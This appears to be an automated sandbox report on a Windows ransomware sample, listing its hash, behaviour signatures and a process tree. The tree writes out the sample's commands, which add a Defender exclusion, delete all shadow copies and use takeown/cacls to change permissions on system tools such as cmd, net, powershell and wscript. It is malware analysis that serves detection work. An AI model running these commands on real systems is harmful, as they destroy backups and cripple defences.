Analysis
- max time kernel
143s - max time network
108s - platform
windows7_x64 - resource
win7v20210410 - submitted
03/06/2021, 10:03
General
- Target 2eb7adb48baacee947dd75d01e686f1f.exe
- Size 1.3MB
- Sample210603-e26hyda7pa
- SHA256 00a7740f9a5e8b3d55865bad1c390d2990322c5927f566ee9dec620b7fcd8f47
Score
10/10
Malware Config
Signatures
- Modifies Windows Defender Real-time Protection settings 3 TTPs
- Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Downloads MZ/PE file
- Executes dropped EXE 1 IoCs
- Modifies extensions of user files 2 IoCs
Ransomware generally changes the extension on encrypted files.
- Modifies service settings 1 TTPs
Alters the configuration of existing services.
- Stops running service(s) 3 TTPs
- Loads dropped DLL 3 IoCs
- Modifies file permissions 1 TTPs 18 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 2 IoCs
- Drops desktop.ini file(s) 64 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Program Files directory 64 IoCs
- Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Discovers systems in the same network 1 TTPs 2 IoCs
- Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Kills process with taskkill 64 IoCs
- Runs net.exe
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2eb7adb48baacee947dd75d01e686f1f.exe"C:\Users\Admin\AppData\Local\Temp\2eb7adb48baacee947dd75d01e686f1f.exe"1⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\2eb7adb48baacee947dd75d01e686f1f.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Kill$.exe"C:\Users\Admin\AppData\Local\Temp\Kill$.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\AC27.tmp\AC28.tmp\AC29.bat C:\Users\Admin\AppData\Local\Temp\Kill$.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v "AutoRun" /f4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\system32\cmd.exe /a4⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\cmd.exe /g Administrators:f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\cmd.exe /e /g Users:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\cmd.exe /e /g Administrators:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\cmd.exe /e /d SERVICE4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\cmd.exe /e /d mssqlserver4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\cmd.exe /e /d "network service"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\cmd.exe /e /g system:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\cmd.exe /e /d mssql$sqlexpress4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\SysWOW64\cmd.exe /a4⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\cmd.exe /g Administrators:f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /g Users:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /g Administrators:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d SERVICE4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d mssqlserver4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d "network service"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /g system:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d mssql$sqlexpress4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\system32\net.exe /a4⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\net.exe /g Administrators:f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\net.exe /e /g Users:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\net.exe /e /g Administrators:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\net.exe /e /d SERVICE4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\net.exe /e /d mssqlserver4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\net.exe /e /d "network service"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\net.exe /e /d system4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\net.exe /e /d mssql$sqlexpress4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\SysWOW64\net.exe /a4⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\net.exe /g Administrators:f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\net.exe /e /g Users:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\net.exe /e /g Administrators:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d SERVICE4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d mssqlserver4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d "network service"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d system4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d mssql$sqlexpress4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\system32\net1.exe /a4⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\net1.exe /g Administrators:f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\net1.exe /e /g Users:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\net1.exe /e /g Administrators:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\net1.exe /e /d SERVICE4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\net1.exe /e /d mssqlserver4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\net1.exe /e /d "network service"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\net1.exe /e /d system4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\net1.exe /e /d mssql$sqlexpress4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\SysWOW64\net1.exe /a4⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\net1.exe /g Administrators:f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /g Users:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /g Administrators:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d SERVICE4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d mssqlserver4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d "network service"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d system4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d mssql$sqlexpress4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\system32\mshta.exe /a4⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\mshta.exe /g Administrators:f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\mshta.exe /e /g Users:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\mshta.exe /e /g Administrators:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\mshta.exe /e /d SERVICE4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\mshta.exe /e /d mssqlserver4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\mshta.exe /e /d "network service"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\mshta.exe /e /d system4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\mshta.exe /e /d mssql$sqlexpress4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\SysWOW64\mshta.exe /a4⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\mshta.exe /g Administrators:f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /g Users:r4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /g Administrators:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d SERVICE4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d mssqlserver4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d "network service"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d system4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d mssql$sqlexpress4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\system32\FTP.exe /a4⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\FTP.exe /g Administrators:f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\FTP.exe /e /g Users:r4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\FTP.exe /e /g Administrators:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\FTP.exe /e /d SERVICE4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\FTP.exe /e /d mssqlserver4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\FTP.exe /e /d "network service"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\FTP.exe /e /d system4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\FTP.exe /e /d mssql$sqlexpress4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\SysWOW64\FTP.exe /a4⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\FTP.exe /g Administrators:f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /g Users:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /g Administrators:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d SERVICE4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d mssqlserver4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d "network service"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d system4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d mssql$sqlexpress4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\system32\wscript.exe /a4⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\wscript.exe /g Administrators:f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\wscript.exe /e /g Users:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\wscript.exe /e /g Administrators:r4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\wscript.exe /e /d SERVICE4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\wscript.exe /e /d mssqlserver4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\wscript.exe /e /d "network service"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\wscript.exe /e /d system4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\wscript.exe /e /d mssql$sqlexpress4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\SysWOW64\wscript.exe /a4⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\wscript.exe /g Administrators:f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /g Users:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /g Administrators:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d SERVICE4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d mssqlserver4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d "network service"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d system4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d mssql$sqlexpress4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\system32\cscript.exe /a4⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\cscript.exe /g Administrators:f4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\cscript.exe /e /g Users:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\cscript.exe /e /g Administrators:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\cscript.exe /e /d SERVICE4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\cscript.exe /e /d mssqlserver4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\cscript.exe /e /d "network service"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\cscript.exe /e /d system4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\cscript.exe /e /d mssql$sqlexpress4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\SysWOW64\cscript.exe /a4⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\cscript.exe /g Administrators:f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /g Users:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /g Administrators:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d SERVICE4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d mssqlserver4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d "network service"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d system4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d mssql$sqlexpress4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /a4⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /g Administrators:f4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /g Users:r4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /g Administrators:r4⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d SERVICE4⤵
-
-
